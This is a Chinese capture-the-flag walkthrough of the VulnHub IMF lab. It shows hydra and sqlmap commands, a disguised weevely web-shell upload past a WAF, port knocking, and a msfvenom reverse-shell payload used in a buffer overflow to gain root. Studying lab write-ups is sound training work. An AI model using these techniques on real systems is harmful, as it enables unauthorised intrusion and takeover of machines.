前言
IMF 是VulnHub发布的一个WEB靶场,难易程度:难
靶场下载地址:https://www.vulnhub.com/entry/imf-1,162/
打靶记录
信息收集
首先使用nmap探测存活ip
确定靶机地址为192.168.100.151,扫描靶机开放端口
发现了80端口,访问一下网站
在contactus源码中发现了第一个flag
flag的内容是经过base64加密的我们解密得到如下内容allthefiles
暂时没有发现用处先记录一下
在此页面源代码中发现有些JS的名字不太对,像是base64加密过得,我们解密一下
解密第一个发现了flag2开头的字段,那看来是三个文件名拼接起来解密应该能确定第二个flag
将flag2的内容再次base64解密
这个内容有点像个目录,我们访问一下
查看源码有提示
中文意思如下:我无法让SQL工作,所以我硬编码了密码。它仍然疯狂地安全通过
漏洞利用
尝试使用SQLMAP没有跑出来结果,如果输入错误的用户名,会提示不存在用户名,可以通过这个来猜解用户名。
之前我们在contact.php界面中,看到三个人员的名字,把它们分别带进去试一下
经过测试rmichaels用户名存在,尝试一下爆破密码能不能爆破出来
hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.100.151 http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:error"
但是奇怪的是获得的所有密码都是登录失败的,我们使用bp拦截一个登录的数据包看看
提示说明对于参数输入的内容进行了处理,那这里sql注入可以不用想了,这里我们可以利用PHP数组绕过一些函数,试一试后台是不是使用了不安全的函数进行密码验证,php中可以使用数组绕过的函数有如下函数(不包含全部)
sha1
MD5
ereg
strpos
strcmp
获得flag3,尝试base64解码
获得明文continueTOcms,在获取flag3的地方,还有个PHP链接
我们将刚刚那个抓的包pass修改为数组之后然后放包
接着继续访问IMF CMS
找了一下并没有发现什么,修改了一下参数,发现mysql报错了,看来有sql注入
使用sqlmap跑一下
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --batch
发现有注入点
爆破库
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --dbs --batch
爆破表
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin --tables --batch
爆破数据
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin -T pages --dump --batch
发现目录下的一个文件访问
图片中发现一个二维码扫一下发现flag4
解码flag4 uploadr942.php
访问是一个文件上传界面
经过测试可以上传jpg、png、gif等文件,使用php一句话木马上传文件,靶机使用waf对eval()等函数进行了过滤,需要做一个绕过waf等检查机制,使用weevely生成一个PHP马
将木马的后缀改为.png或者.jpg进行拼接,上传,需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析,测试发现靶机不支持,我们可以使用gif89a文件头欺骗。
上传成功
查看网页源代码,获得gif文件上传到服务器的文件名233ead3c036f
访问一下看看
上传成功weevely连接
获得www-data权限
下面就获得了flag5
解码获得提示agentservices
提权
提示为代理服务器,通过提示在靶机中搜寻agent运行的文件
这俩个目录下有agnet文件
进入bin目录,发现两个文件
agnet是ELF 32位执行文件
access_log提示SYN 7482,8279,9467
提示端口试探,使用knock命令试探一下
查一下端口发现服务器运行7788应该是agent的端口了
但之前nmap并没有扫到,端口试探应该是针对这个端口的
下面使用nmap扫描就发现了7788端口
nc连接一下看看,需要使用到agent ID
将agent文件下载到本地
在fgets初随便输入内容,strncmp函数进行将我们输入的内容和agent ID进行对比在此我们获得agent ID 48093572
执行agent,输入正确的agent
获得三个选项
1、提取分
2、请求提取
3、提交报告
看来通过缓冲区溢出agent进程,获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.16.129 LPORT=6666 -b “\x00\x0a\x0” -f python -o 2.py
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
-f 指定生成xxx格式
-o 输入路径和文件
使用如下连接的脚本(https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py)
将生成的内容替换为python脚本内容
nc监听6666端口
执行python脚本
反弹shell,获得root权限
获得flag6
- 最新
- 最热
只看作者